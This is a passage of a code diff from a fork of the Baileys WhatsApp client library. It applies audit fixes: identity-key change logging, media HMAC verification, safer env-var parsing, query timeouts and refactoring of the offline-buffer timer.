libsignal's native code as "Invalid PreKey + // ID" and crash the worker before our retry loop can intervene. The + // risk is bounded: an attacker would need to (1) capture the original + // `pkmsg`, (2) replay it within 5 min, (3) have a stale device session + // the receiver hasn't yet promoted. End-to-end recipients still verify + // the signed prekey + identity binding, so reusing the one-time prekey + // doesn't yield a session takeover. const PREKEY_GRACE_PERIOD_MS = 5 * 60 * 1000 // 5 minutes const pendingPreKeyDeletions = new Map>() @@ -1255,8 +1278,64 @@ function signalStorage( const wireJid = await resolveLIDSignalAddress(id) await keys.set({ session: { [wireJid]: session.serialize() } }) }, - isTrustedIdentity: () => { - return true // todo: implement proper trust management + /** + * Trust check called by libsignal on every encrypt / decrypt / + * initOutgoing. Returning `false` would throw "Untrusted identity" + * at the native level and HARD-BLOCK the operation. + * + * audit SIG-A2 — earlier this was `return true` unconditionally, + * which is fine as a TOFU rule (trust on first use) but leaves zero + * audit trail when a known peer's identity actually changes — and + * SIG-A1 (the dead `extractIdentityFromPkmsg`) meant the upstream + * `identity.changed` event never fired either. With SIG-A1 fixed, + * we now have a working identity-change signal in `saveIdentity`. + * + * Strategy here: still TRUST (return true) to avoid breakage when a + * peer legitimately reinstalls WhatsApp, but log a WARN on key + * divergence so an operator can correlate it with abuse signals. + * A future PR can promote this to a configurable strict-mode that + * REJECTS unknown changes for high-security deployments. + */ + isTrustedIdentity: (id: string, identityKey: Uint8Array): boolean => { + // libsignal's `isTrustedIdentity` is a SYNC predicate (it's called + // from native code paths that don't await). We therefore can't + // reach `keys.get('identity-key', ...)` here — that's async. + // The next-best signal is the in-memory LRU populated by + // `loadIdentityKey` / `saveIdentity`. A cache hit lets us log a + // WARN when the wire's identity diverges from what we knew last; + // a miss falls through to the TOFU default (trust). A future PR + // can promote this to strict-mode rejection when the WARN fires. + try { + // `saveIdentity` AND `loadIdentityKey` both populate the cache + // under BOTH the raw `id` AND the resolved `wireJid` spelling + // (after the audit-thread-11 fix). So a single get(id) lookup + // catches every entry written through either path. + const cached = identityKeyCache.get(id) + if (identityKey?.length === cached?.length) { + let diverged = false + for (let i = 0; i < cached.length; i++) { + if (cached[i] !== identityKey[i]) { + diverged = true + break + } + } + + if (diverged) { + logger?.warn( + { + id, + oldFingerprint: generateKeyFingerprint(cached), + newFingerprint: generateKeyFingerprint(identityKey) + }, + 'isTrustedIdentity: peer identity key CHANGED (still trusted — TOFU). Audit correlation: SIG-A2' + ) + } + } + } catch (err) { + logger?.debug({ err, id }, 'isTrustedIdentity: cache check failed') + } + + return true }, loadPreKey: async (id: number | string) => { const keyId = id.toString() @@ -1336,7 +1415,16 @@ function signalStorage( try { const wireJid = await resolveLIDSignalAddress(id) - // Check cache first + // Check cache first. (audit P2-SIG-02 TODO: the LRU lives + // OUTSIDE the per-record `transactWith` lock. A concurrent + // `saveIdentity` for the same wireJid can populate the cache + // with the in-flight new value before the storage write + // commits — a torn read window for the duration of the + // transaction. The cache should be invalidated under the same + // `records: [{type:'identity-key', id:wireJid}]` lock or moved + // inside the transaction. Documenting; out of scope for the + // current PR because it requires reworking the cache's + // lifecycle and the surrounding metrics, not a one-line fix.) const cached = identityKeyCache.get(wireJid) if (cached) { metrics.signalIdentityKeyCacheHits?.inc() @@ -1345,12 +1433,29 @@ function signalStorage( metrics.signalIdentityKeyCacheMisses?.inc() - // Load from storage - const { [wireJid]: key } = await keys.get('identity-key', [wireJid]) + // Load from storage. (audit P2-SIG-03) `saveIdentity` writes + // the key under BOTH the resolved `wireJid` AND the original + // `id` so a future lookup via either spelling finds it. The + // reverse used to only read via wireJid — meaning if the + // PN→LID mapping was deleted between save and load, the + // stored key under the PN was invisible. We fall back to the + // original id when wireJid lookup misses, matching the dual + // write. + const lookupKeys = wireJid !== id ? [wireJid, id] : [wireJid] + const stored = await keys.get('identity-key', lookupKeys) + const key = stored[wireJid] ?? stored[id] if (key) { - // Populate cache + // Populate cache under BOTH spellings — matches the dual + // write in `saveIdentity`. Earlier this only cached the + // resolved `wireJid`, leaving `isTrustedIdentity(id)`'s + // sync cache lookup with a miss when called with the raw + // `id` before any save had happened. (audit thread 11) identityKeyCache.set(wireJid, key) + if (wireJid !== id) { + identityKeyCache.set(id, key) + } + return key } diff --git a/src/Signal/session-activity-tracker.ts b/src/Signal/session-activity-tracker.ts index 74c50de2e8b..187bceb5947 100644 --- a/src/Signal/session-activity-tracker.ts +++ b/src/Signal/session-activity-tracker.ts @@ -1,4 +1,5 @@ import type { SignalKeyStoreWithTransaction } from '../Types' +import { intFromEnv } from '../Utils/env-utils' import type { ILogger } from '../Utils/logger' /** @@ -15,7 +16,9 @@ export interface SessionActivityConfig { * Default configuration for session activity tracking */ export const DEFAULT_SESSION_ACTIVITY_CONFIG: SessionActivityConfig = { - flushIntervalMs: parseInt(process.env.BAILEYS_SESSION_ACTIVITY_FLUSH_MS || '60000', 10), // 1 minute + // audit ENV-01: was `parseInt(... || '60000', 10)` — NaN under malformed + // env vars (e.g. "60s") cascades into `setInterval(NaN)` → 1 ms loop. + flushIntervalMs: intFromEnv(process.env.BAILEYS_SESSION_ACTIVITY_FLUSH_MS, 60_000, 1), // 1 minute enabled: process.env.BAILEYS_SESSION_ACTIVITY_ENABLED !== 'false' } diff --git a/src/Signal/session-cleanup.ts b/src/Signal/session-cleanup.ts index b2e56d3fe7a..2a1e3653b86 100644 --- a/src/Signal/session-cleanup.ts +++ b/src/Signal/session-cleanup.ts @@ -286,7 +286,25 @@ export const makeSessionCleanup = ( sessionUpdates[addr] = null }) - // Single atomic transaction for all deletions + // Single atomic transaction for all deletions. + // audit P2-SIG-01 TODO: this lock namespace ('session-cleanup') + // is disjoint from the per-record `transactWith({ records: + // [{type:'session', id}] })` locks used by encrypt/decrypt. + // A concurrent decrypt for an address we are about to delete + // can therefore run alongside this cleanup — usually benign + // (the decrypt's `transactWith` holds the record lock + // while it operates and our DELETE just makes the next call + // build a fresh session), but in the worst case the decrypt + // reads the session record mid-DELETE and gets back a + // torn / empty session. Fixing this properly means either + // (a) tearing this batch into per-address `transactWith` + // calls so each delete acquires the correct record + // lock, or + // (b) gating the entire cleanup inside a process-wide + // lock that also blocks decrypt. + // (a) is the right shape but inflates wall-clock from one + // statement to N. Out of scope for this PR; documented for + // the follow-up. await keys.transaction(async () => { await keys.set({ session: sessionUpdates }) }, 'session-cleanup') diff --git a/src/Socket/messages-recv.ts b/src/Socket/messages-recv.ts index e763d22aa6e..d32a366a15b 100644 --- a/src/Socket/messages-recv.ts +++ b/src/Socket/messages-recv.ts @@ -2142,6 +2142,7 @@ export const makeMessagesRecvSocket = (config: SocketConfig) => { ) { mappingsToStore.push({ lid: affectedParticipantLid, pn: affectedParticipantPn }) } + msg.messageStubParameters = [ JSON.stringify({ lid: affectedParticipantLid, pn: affectedParticipant }), 'created', @@ -2159,6 +2160,7 @@ export const makeMessagesRecvSocket = (config: SocketConfig) => { ) { mappingsToStore.push({ lid: affectedParticipantLid, pn: affectedParticipantPn }) } + msg.messageStubParameters = [ JSON.stringify({ lid: affectedParticipantLid, pn: affectedParticipant }), isDenied ? 'revoked' : 'rejected' @@ -2357,6 +2359,7 @@ export const makeMessagesRecvSocket = (config: SocketConfig) => { break } + case 'account_sync': if (child!.tag === 'disappearing_mode') { const newDuration = +child!.attrs.duration! @@ -3138,11 +3141,7 @@ export const makeMessagesRecvSocket = (config: SocketConfig) => { // `meta.target_id`, missing `encIv`/`encPayload`, AES-GCM auth-tag // mismatch — which deserve the Signal retry path, NOT a silent // ACK. cubic audit thread 13 (PR #521). - if ( - msg?.messageStubParameters?.[0]?.startsWith( - 'decryptMsmsgBotMessage: no messageSecret for ' - ) - ) { + if (msg?.messageStubParameters?.[0]?.startsWith('decryptMsmsgBotMessage: no messageSecret for ')) { await sendMessageAck(node) acked = true return @@ -3452,6 +3451,7 @@ export const makeMessagesRecvSocket = (config: SocketConfig) => { } else { logger.error({ error, node: binaryNodeToString(node) }, 'error in handling message') } + // If nothing acked the message yet (a throw in alt-mapping / migrateSession / // normalizeMessageJids / decrypt / upsert), send a single NACK so the server // stops retrying. Guarded by `acked` to avoid double-ack on paths that already @@ -3942,7 +3942,14 @@ export const makeMessagesRecvSocket = (config: SocketConfig) => { } if (ignoreJid && ignoreJid !== S_WHATSAPP_NET && shouldIgnoreJid(ignoreJid)) { - await sendMessageAck(node, type === 'message' ? NACK_REASONS.UnhandledError : undefined) + // Plain ACK (no error code) — InfiniteAPI's pre-existing semantics + // for ignored stanzas. NACK 500 (UnhandledError) would tell the + // server the message failed processing and trigger redelivery, + // producing a duplicate-traffic storm on filtered JIDs (status, + // newsletter, blocked contacts). This restores commit c46889db43 + // after upstream PR #2352 port (b8edacb7ce) reintroduced the NACK. + // Audit ref: messages-recv P1 from the 2026-06-10 review. + await sendMessageAck(node).catch(ackErr => logger.error({ ackErr }, 'failed to ack ignored stanza')) return } diff --git a/src/Socket/messages-send.ts b/src/Socket/messages-send.ts index 530e4fffc8f..6d10a68a3ed 100644 --- a/src/Socket/messages-send.ts +++ b/src/Socket/messages-send.ts @@ -176,10 +176,7 @@ export const makeMessagesSocket = (config: SocketConfig) => { const ogImage = info?.originalThumbnailUrl if (!ogImage) return content - logger?.debug( - { jid, url, ogImage }, - 'newsletter link upgrade: posting as imageMessage with og:image' - ) + logger?.debug({ jid, url, ogImage }, 'newsletter link upgrade: posting as imageMessage with og:image') return { image: { url: ogImage }, caption: text @@ -544,9 +541,7 @@ export const makeMessagesSocket = (config: SocketConfig) => { // triggers a USync refresh, same as a TTL-expired entry. if (userDevicesCache.mset) { try { - await userDevicesCache.mset( - Object.entries(deviceMap).map(([key, value]) => ({ key, value })) - ) + await userDevicesCache.mset(Object.entries(deviceMap).map(([key, value]) => ({ key, value }))) } catch (err) { const msg = (err as Error)?.message ?? '' if (!msg.includes('max keys') && !msg.includes('ECACHEFULL')) throw err @@ -1256,14 +1251,11 @@ export const makeMessagesSocket = (config: SocketConfig) => { // drop silently for subscribers. The attribute mirrors the // `mediatype` set on `enc` for non-newsletter encrypted sends. // PTV note: `getMediaType` returns '' for `ptvMessage`. Without a - // fallback, a newsletter PTV send would land without the - // `mediatype` attribute and the server may ACK it 479. Detect - // PTV directly so the plaintext node carries `mediatype="ptv"`. - const plaintextMediaType = - mediaType || ((patched as proto.IMessage | undefined)?.ptvMessage ? 'ptv' : '') - const plaintextAttrs: BinaryNodeAttributes = plaintextMediaType - ? { mediatype: plaintextMediaType } - : {} + // fallback, a newsletter PTV send would land without the + // `mediatype` attribute and the server may ACK it 479. Detect + // PTV directly so the plaintext node carries `mediatype="ptv"`. + const plaintextMediaType = mediaType || ((patched as proto.IMessage | undefined)?.ptvMessage ? 'ptv' : '') + const plaintextAttrs: BinaryNodeAttributes = plaintextMediaType ? { mediatype: plaintextMediaType } : {} binaryNodeContent.push({ tag: 'plaintext', attrs: plaintextAttrs, @@ -1586,8 +1578,7 @@ export const makeMessagesSocket = (config: SocketConfig) => { // edit / msmsg reply can't be decrypted on those devices. // (audit thread 5 / coderabbit Major on release PR #521) const retryDsmContextInfo = - messageToSend.lottieStickerMessage?.message?.messageContextInfo ?? - messageToSend.messageContextInfo + messageToSend.lottieStickerMessage?.message?.messageContextInfo ?? messageToSend.messageContextInfo const usesDSM = isMe const encodedMessageToSend = usesDSM ? encodeWAMessage({ diff --git a/src/Socket/offline-buffer-state.ts b/src/Socket/offline-buffer-state.ts new file mode 100644 index 00000000000..b4d7a0428bf --- /dev/null +++ b/src/Socket/offline-buffer-state.ts @@ -0,0 +1,92 @@ +/** + * Offline-phase event buffer — safety state machine extracted from + * `makeSocket` so the three interaction points (arm / cancel-on-arrival / + * cancel-on-close) can be unit tested directly. (audit TST-06) + * + * The factory captures the consumer's `flush` + `warn` callbacks and the + * timeout duration; the returned object exposes the three transitions that + * used to be inline closures over `didStartBuffer` + `offlineBufferTimeout` + * in `socket.ts`. State is fully private. + */ + +export interface OfflineBufferHandle { + /** + * Arm the safety timer. Mirrors the `process.nextTick` block that fired + * inside makeSocket when the socket connected with `creds.me?.id` set. + * Called by the socket immediately after `ev.buffer()` so a large + * offline backlog can't hold live messages hostage past `timeoutMs`. + */ + startBuffer(): void + + /** + * Cancel the timer and flush exactly once. Happy path — fired when + * `CB:ib,,offline` arrives before the safety timer expires. + */ + onOffline(): void + + /** + * Cancel the timer without flushing. Called from `end()` when the + * socket closes for any reason, so the callback cannot call + * `ev.flush()` on a dead session. + */ + onClose(): void + + /** Inspection — for tests + diagnostics. */ + getState(): { didStartBuffer: boolean; hasTimeout: boolean } +} + +export const createOfflineBufferState = ( + flush: () => void, + warn: () => void, + timeoutMs: number +): OfflineBufferHandle => { + let didStartBuffer = false + let offlineBufferTimeout: NodeJS.Timeout | undefined + + return { + startBuffer(): void { + // Defensive: if `startBuffer` is ever called twice without an + // intervening `onOffline` / `onClose` (e.g. a future reconnection + // path that double-fires the CB:ib trigger), drop the stale + // timer so two flushes can't race. Today's socket lifecycle + // guarantees a single call, so this is belt-and-suspenders. + // (audit thread 9) + if (offlineBufferTimeout) { + clearTimeout(offlineBufferTimeout) + offlineBufferTimeout = undefined + } + + didStartBuffer = true + offlineBufferTimeout = setTimeout(() => { + offlineBufferTimeout = undefined + if (didStartBuffer) { + warn() + flush() + didStartBuffer = false + } + }, timeoutMs) + }, + onOffline(): void { + if (offlineBufferTimeout) { + clearTimeout(offlineBufferTimeout) + offlineBufferTimeout = undefined + } + + if (didStartBuffer) { + flush() + didStartBuffer = false + } + }, + onClose(): void { + if (offlineBufferTimeout) { + clearTimeout(offlineBufferTimeout) + offlineBufferTimeout = undefined + } + + didStartBuffer = false + }, + getState(): { didStartBuffer: boolean; hasTimeout: boolean } { + return { didStartBuffer, hasTimeout: !!offlineBufferTimeout } + } + } +} diff --git a/src/Socket/socket.ts b/src/Socket/socket.ts index 0cd2a11eed7..d6ee54fda52 100644 --- a/src/Socket/socket.ts +++ b/src/Socket/socket.ts @@ -69,6 +69,7 @@ import { BinaryInfo } from '../WAM/BinaryInfo.js' import { USyncQuery, USyncUser } from '../WAUSync/' import { WebSocketClient } from './Client' import { executeWMexQuery } from './mex' +import { createOfflineBufferState } from './offline-buffer-state' /** * Connects to WA servers and performs: @@ -278,6 +279,21 @@ export const makeSocket = (config: SocketConfig) => { const result = await responsePromise + // Convert the `waitForMessage` timeout sentinel (returns `undefined`) + // into a typed Boom so callers can `.catch` it as a real error. + // Without this, `uploadPreKeys` logged "uploaded successfully" and + // reset `lastUploadTime` on timeout (exhausting server-side prekeys), + // `appPatch` advanced `app-state-sync-version` (LTHash divergence), + // `fetchPrivacySettings` destructured `undefined` → opaque TypeError, + // and `assertSessions` set `didFetchNewSession=true` without ever + // injecting a session. (audit SOCK-01) + if (result === undefined) { + throw new Boom('query timed out', { + statusCode: DisconnectReason.timedOut, + data: { msgId, timeoutMs: timeoutMs ?? defaultQueryTimeoutMs } + }) + } + if (result && 'tag' in result) { assertNodeErrorFree(result) } @@ -1053,13 +1069,8 @@ export const makeSocket = (config: SocketConfig) => { // Clear offline-buffer safety timer so its callback cannot call ev.flush() // on an already-closed socket (e.g. auth failure or early network drop before // CB:ib,,offline ever arrives). Mirrors how awaitingSyncTimeout is cleared in - // chats.ts on connection close. - if (offlineBufferTimeout) { - clearTimeout(offlineBufferTimeout) - offlineBufferTimeout = undefined - } - - didStartBuffer = false + // chats.ts on connection close. (audit TST-06) + offlineBuffer.onClose() // Stop session cleanup scheduler sessionCleanup.stop() @@ -1584,7 +1595,6 @@ export const makeSocket = (config: SocketConfig) => { } }) - let didStartBuffer = false // perf(inbound-latency): safety timer that caps how long the offline-phase buffer may // block live message delivery. The server sends CB:ib,,offline only after transmitting // ALL queued offline messages; on busy accounts this can take 10-30+ seconds, holding @@ -1603,28 +1613,24 @@ export const makeSocket = (config: SocketConfig) => { // server to finish flushing the pending-message backlog (CB:ib,,offline). // For normal restarts (no stale routingInfo) the standard 2 s safety cap applies. const OFFLINE_BUFFER_TIMEOUT_MS = 2_000 - let offlineBufferTimeout: NodeJS.Timeout | undefined + // State machine lives in `./offline-buffer-state` so it can be unit + // tested directly without spinning up a socket. (audit TST-06) + const offlineBuffer = createOfflineBufferState( + () => ev.flush(), + () => + logger.warn( + { timeoutMs: OFFLINE_BUFFER_TIMEOUT_MS }, + 'perf: offline-buffer safety timeout reached, force-flushing before CB:ib,,offline' + ), + OFFLINE_BUFFER_TIMEOUT_MS + ) process.nextTick(() => { if (creds.me?.id && !skipOfflineBuffer) { // First-time QR connection: buffer events until CB:ib,,offline signals all // offline messages have been delivered, then flush everything at once. ev.buffer() - didStartBuffer = true - - // Cap the offline-phase buffer so a large backlog of missed messages - // does not delay delivery of the very next live message beyond OFFLINE_BUFFER_TIMEOUT_MS. - offlineBufferTimeout = setTimeout(() => { - offlineBufferTimeout = undefined - if (didStartBuffer) { - logger.warn( - { timeoutMs: OFFLINE_BUFFER_TIMEOUT_MS }, - 'perf: offline-buffer safety timeout reached, force-flushing before CB:ib,,offline' - ) - ev.flush() - didStartBuffer = false - } - }, OFFLINE_BUFFER_TIMEOUT_MS) + offlineBuffer.startBuffer() } else if (creds.me?.id && skipOfflineBuffer) { logger.info( 'perf: skipping offline-phase buffer — reconnect of existing session, messages will be delivered immediately' @@ -1641,17 +1647,9 @@ export const makeSocket = (config: SocketConfig) => { logger.info(`handled ${offlineNotifs} offline messages/notifications`) - // Clear safety timeout — CB:ib,,offline arrived in time, do the normal flush. - if (offlineBufferTimeout) { - clearTimeout(offlineBufferTimeout) - offlineBufferTimeout = undefined - } - - if (didStartBuffer) { - ev.flush() - didStartBuffer = false - logger.trace('flushed events for initial buffer') - } + const wasBuffering = offlineBuffer.getState().didStartBuffer + offlineBuffer.onOffline() + if (wasBuffering) logger.trace('flushed events for initial buffer') ev.emit('connection.update', { receivedPendingNotifications: true }) }) diff --git a/src/Types/index.ts b/src/Types/index.ts index a54510e919f..8f8e8d72d65 100644 --- a/src/Types/index.ts +++ b/src/Types/index.ts @@ -11,6 +11,16 @@ export * from './Call' export * from './Signal' export * from './Newsletter' export * from './SessionCleanup' +// Re-exports added 2026-06-10 (audit P1-TYPE-01): these types appear in +// public signatures (addLabel, updateBussinesProfile, labels.* events, +// USyncQuery primitives) and the LabelAssociationType/LabelColor runtime +// enums are needed for chat label semantics — without these lines they +// could only be reached via deep-imports of `lib/Types/...`, which is +// fragile to any future `"exports"` map in package.json. +export * from './Label' +export * from './LabelAssociation' +export * from './Bussines' +export * from './USync' import type { AuthenticationState } from './Auth' import type { SocketConfig } from './Socket' @@ -49,8 +59,13 @@ export type WAInitResponse = { export type WABusinessHoursConfig = { day_of_week: string mode: string - open_time?: number - close_time?: number + // Stored as zero-padded HHMM strings (e.g. "0900", "1830") because they + // come straight off BinaryNode.attrs, which is `Record`. + // Earlier `number` typing was wrong: doing arithmetic on these values + // silently concatenated strings ("540" + 30 = "54030") instead of + // adding minutes. (audit P2-TYPE-01) + open_time?: string + close_time?: string } export type WABusinessProfile = { diff --git a/src/Utils/decode-wa-message.ts b/src/Utils/decode-wa-message.ts index 221a3bf7425..2efe4f06bf8 100644 --- a/src/Utils/decode-wa-message.ts +++ b/src/Utils/decode-wa-message.ts @@ -133,9 +133,11 @@ const decodeIncomingMsmsg = (args: { if (!msmsgCache) { throw new Error('Meta AI msmsg received but no MsmsgSecretCache was wired into decryptMessageNode') } + if (!msmsgInfo) { throw new Error('msmsg enc without companion node') } + return decryptMsmsgBotMessage({ ciphertext: content, stanzaInfo: msmsgInfo, diff --git a/src/Utils/env-utils.ts b/src/Utils/env-utils.ts new file mode 100644 index 00000000000..fb87ac81703 --- /dev/null +++ b/src/Utils/env-utils.ts @@ -0,0 +1,59 @@ +/** + * Shared helpers for parsing environment variables that influence runtime + * scheduling (intervals, timeouts, pool sizes, ports). + * + * Bare `parseInt(envVar || 'N', 10)` returns `NaN` when the var is set to + * something non-numeric (e.g. "24h", "true", "disabled") because + * `'24h' || 'N'` evaluates to the truthy `'24h'`. Downstream consumers + * (`setInterval`, `setTimeout`, `server.listen`) then receive `NaN`, which + * Node clamps to 1 ms / port 0 / etc., producing runaway loops or opaque + * bind failures. These helpers reject non-finite or out-of-bound values so + * a malformed env var falls back to the documented default. + * + * Mirrors the same shape as `intFromEnv` defined locally in + * `src/Defaults/index.ts:318` — kept as a separate module so other call + * sites (session-activity-tracker, prometheus-metrics, future Phase-9 + * tunables) don't grow ad-hoc copies and drift apart. (audit ENV-01/02/03) + */ + +/** + * Parse an integer env var with a fallback and lower/upper bounds. + * + * @param raw - Raw env var value (`process.env.X`). + * @param fallback - Returned if `raw` is missing, empty, non-numeric, or + * outside `[min, max]`. + * @param min - Minimum acceptable value (default `0`). Pass `1` for + * durations / pool sizes that must be strictly positive. + * @param max - Maximum acceptable value (optional). Use for port numbers + * (65535), percentages (100), etc. so out-of-range values + * fall back to the safe default instead of reaching the + * underlying syscall with a meaningless number. + */ +export const intFromEnv = ( + raw: string | undefined, + fallback: number, + min: number = 0, + max: number = Number.MAX_SAFE_INTEGER +): number => { + if (raw === undefined) return fallback + // Trim before the emptiness check — env vars containing only whitespace + // (e.g. a sloppy `KEY= ` in a .env file) used to slip past `=== ''` and + // fall through to `Number(' ')` which returns 0, masquerading as a + // legitimate "zero" config value. + const trimmed = raw.trim() + if (trimmed === '') return fallback + const n = Number(trimmed) + return Number.isInteger(n) && n >= min && n <= max ? n : fallback +} + +/** + * Parse a float env var with a fallback. Used for ratios / thresholds + * where fractional values are valid. + */ +export const floatFromEnv = (raw: string | undefined, fallback: number): number => { + if (raw === undefined) return fallback + const trimmed = raw.trim() + if (trimmed === '') return fallback + const n = Number(trimmed) + return Number.isFinite(n) ? n : fallback +} diff --git a/src/Utils/error-log-utils.ts b/src/Utils/error-log-utils.ts index a7ecf29bfc5..934941fd8f1 100644 --- a/src/Utils/error-log-utils.ts +++ b/src/Utils/error-log-utils.ts @@ -38,6 +38,7 @@ export const compactError = (err: unknown): string => { const name = err.name || 'Error' return `${name}: ${err.message}` } + if (typeof err === 'object') { const e = err as { name?: string; type?: string; message?: string } const name = e.name || e.type || 'Error' @@ -49,5 +50,6 @@ export const compactError = (err: unknown): string => { return `${name}: [unserializable]` } } + return String(err) } diff --git a/src/Utils/event-buffer.ts b/src/Utils/event-buffer.ts index 741af504742..20c869d50c9 100644 --- a/src/Utils/event-buffer.ts +++ b/src/Utils/event-buffer.ts @@ -1323,10 +1323,11 @@ function append( continue } - const groupUpdate = data.groupUpdates[id] || {} - if (!data.groupUpdates[id]) { - data.groupUpdates[id] = Object.assign(groupUpdate, update) - } + // Merge into the buffered update unconditionally — the previous + // `if (!data.groupUpdates[id])` guard silently dropped any update + // after the first (e.g. an announce/restrict change arriving while + // a subject change was still buffered during drain/history-sync). + data.groupUpdates[id] = Object.assign(data.groupUpdates[id] || {}, update) } break diff --git a/src/Utils/lock-manager.ts b/src/Utils/lock-manager.ts index d2bf018e5bb..f24458d11b6 100644 Binary files a/src/Utils/lock-manager.ts and b/src/Utils/lock-manager.ts differ diff --git a/src/Utils/messages-media.ts b/src/Utils/messages-media.ts index fa8a93268cc..0b06161363d 100644 --- a/src/Utils/messages-media.ts +++ b/src/Utils/messages-media.ts @@ -14,8 +14,8 @@ import { DEFAULT_ORIGIN, MEDIA_HKDF_KEY_MAPPING, MEDIA_PATH_MAP, - NEWSLETTER_MEDIA_PATH_MAP, - type MediaType + type MediaType, + NEWSLETTER_MEDIA_PATH_MAP } from '../Defaults' import type { BaileysEventMap, @@ -625,7 +625,6 @@ export const downloadContentFromMessage = async ( downloadUrl = getUrlFromDirectPath(directPath, opts.host) } - if (!downloadUrl) { throw new Boom('No valid media URL or directPath present in message', { statusCode: 400 }) } @@ -639,9 +638,19 @@ export const downloadContentFromMessage = async ( * Decrypts and downloads an AES256-CBC encrypted file given the keys. * Assumes the SHA256 of the plaintext is appended to the end of the ciphertext * */ +// HMAC verification (audit UTL-01) — IMPLEMENTED below as of this PR. +// The WhatsApp media protocol appends a 10-byte +// HMAC-SHA256(macKey, iv || ciphertext)[:10] trailer to every encrypted +// blob (see `messageVerificationMacInfo` in `getMediaKeys`). The Transform +// below reserves the trailing 10 bytes of the stream, recomputes the HMAC +// across the ciphertext, and rejects with Boom 401 on mismatch. +// +// Verification is gated on `macKey && !range-request && !firstBlockIsIV` +// because the trailer is only present at the end of a full download — +// range fetches and IV-prefixed chunked downloads don't include it. export const downloadEncryptedContent = async ( downloadUrl: string, - { cipherKey, iv }: MediaDecryptionKeyInfo, + { cipherKey, iv, macKey }: MediaDecryptionKeyInfo, { startByte, endByte, options }: MediaDownloadOptions = {} ) => { let bytesFetched = 0 @@ -699,9 +708,39 @@ export const downloadEncryptedContent = async ( } } + // audit UTL-01 — HMAC verification: + // spec: trailer = HMAC-SHA256(macKey, iv || ciphertext)[:10] + // + // Verified only on FULL downloads. Range requests (`startByte`/`endByte`) + // don't include the trailer, and `firstBlockIsIV` replaces the IV in- + // stream so we can't deterministically reconstruct what was HMAC'd + // without buffering the whole thing. Skipping there keeps the + // streaming/range fast path intact while closing the gap for the + // common full-download case the audit was concerned about. + const isRangeRequest = !!startByte || !!endByte + const verifyMac = !!macKey && !isRangeRequest && !firstBlockIsIV + const HMAC_TRAILER_LEN = 10 + const hmac = verifyMac ? Crypto.createHmac('sha256', macKey!).update(iv) : null + let trailerBuf = Buffer.alloc(0) + const output = new Transform({ transform(chunk, _, callback) { - let data = remainingBytes.length ? Buffer.concat([remainingBytes, chunk]) : chunk + // Reserve the trailing 10 bytes of the entire stream as the + // HMAC trailer. Anything before that is real ciphertext. + let chunkAfterTrailer: Buffer = chunk + if (verifyMac) { + const combined = trailerBuf.length ? Buffer.concat([trailerBuf, chunk]) : chunk + if (combined.length <= HMAC_TRAILER_LEN) { + trailerBuf = combined + callback() + return + } + + chunkAfterTrailer = combined.subarray(0, combined.length - HMAC_TRAILER_LEN) + trailerBuf = combined.subarray(combined.length - HMAC_TRAILER_LEN) + } + + let data = remainingBytes.length ? Buffer.concat([remainingBytes, chunkAfterTrailer]) : chunkAfterTrailer const decryptLength = toSmallestChunkSize(data.length) remainingBytes = data.slice(decryptLength) @@ -723,6 +762,7 @@ export const downloadEncryptedContent = async ( } try { + hmac?.update(data) pushBytes(aes.update(data), b => this.push(b)) callback() } catch (error: any) { @@ -731,6 +771,44 @@ export const downloadEncryptedContent = async ( }, final(callback) { try { + if (verifyMac && hmac) { + // Feed the tail bytes (the 0–15 bytes left in + // `remainingBytes` from the very last chunk after the + // AES-block-size alignment) into the HMAC before we + // digest. Without this, the trailing bytes that + // `aes.final()` will decrypt are NOT covered by the MAC, + // leaving a small but real window for an attacker who + // can flip those bytes without us noticing. + // (audit thread 13) + if (remainingBytes.length) { + hmac.update(remainingBytes) + } + + const expected = hmac.digest().subarray(0, HMAC_TRAILER_LEN) + if (trailerBuf.length !== HMAC_TRAILER_LEN || !Crypto.timingSafeEqual(expected, trailerBuf)) { + return callback( + new Boom('media HMAC verification failed', { + statusCode: 401, + data: { gotLen: trailerBuf.length, want: HMAC_TRAILER_LEN } + }) + ) + } + } + + // audit UTL-P0 — if the entire stream was ≤ HMAC_TRAILER_LEN + // bytes, `transform` never reached the `aes` initialiser + // (all incoming bytes were held back as trailer candidates). + // `aes.final()` would then throw `TypeError: Cannot read + // properties of undefined` and crash the consumer. Surface + // it as a typed Boom 400 so the caller can handle it. + if (!aes) { + return callback( + new Boom('media stream too short — no ciphertext bytes received', { + statusCode: 400 + }) + ) + } + pushBytes(aes.final(), b => this.push(b)) callback() } catch (error: any) { diff --git a/src/Utils/messages.ts b/src/Utils/messages.ts index 62c39e6a165..2ac5c8b6708 100644 --- a/src/Utils/messages.ts +++ b/src/Utils/messages.ts @@ -120,6 +120,10 @@ const assertColor = async (color: any) => { let assertedColor if (typeof color === 'number') { assertedColor = color > 0 ? color : 0xffffffff + Number(color) + 1 + // Missing `return` here used to silently produce `undefined` for any + // numeric input (audit UTL-02). Numeric callers (`backgroundArgb`, + // status text color) all ended up with `undefined` argb downstream. + return assertedColor } else { let hex = color.trim().replace('#', '') if (hex.length <= 6) { @@ -1878,10 +1882,7 @@ export const generateWAMessageContent = async ( // closer to what mobile clients expect, especially for stickers carrying // a `messageSecret` (the receive-side `normalizeMessageContent` below // re-unwraps so downstream readers don't care either way). - if ( - m.stickerMessage && - (m.stickerMessage.mimetype === 'application/was' || m.stickerMessage.isLottie) - ) { + if (m.stickerMessage && (m.stickerMessage.mimetype === 'application/was' || m.stickerMessage.isLottie)) { m.stickerMessage.isAnimated = true m.stickerMessage.isLottie = true m = { lottieStickerMessage: { message: m } } @@ -2321,12 +2322,21 @@ export const downloadMediaMessage = async ( ctx?: DownloadMediaMessageContext ) => { const result = await downloadMsg().catch(async error => { - if ( - ctx && - typeof error?.status === 'number' && // treat errors with status as HTTP failures requiring reupload - REUPLOAD_REQUIRED_STATUS.includes(error.status as number) - ) { - ctx.logger.info({ key: message.key }, 'sending reupload media request...') + // HTTP failures from `getHttpStream` are thrown as `Boom` (see + // `messages-media.ts:386`), which exposes the response code on + // `error.output.statusCode` — NOT `error.status`. The previous + // check on `error?.status` therefore never matched, leaving this + // whole branch dead code: a 410/404 from the CDN would propagate + // straight to the caller and the reupload request that Baileys + // is supposed to send was never issued. We fall back to + // `error?.status` so consumers throwing a plain object with a + // status field still trigger the same path. (audit P1-MED-03) + const httpStatus = + (typeof error?.output?.statusCode === 'number' ? error.output.statusCode : undefined) ?? + (typeof error?.status === 'number' ? (error.status as number) : undefined) + + if (ctx && httpStatus !== undefined && REUPLOAD_REQUIRED_STATUS.includes(httpStatus)) { + ctx.logger.info({ key: message.key, httpStatus }, 'sending reupload media request...') // request reupload message = await ctx.reuploadRequest(message) const result = await 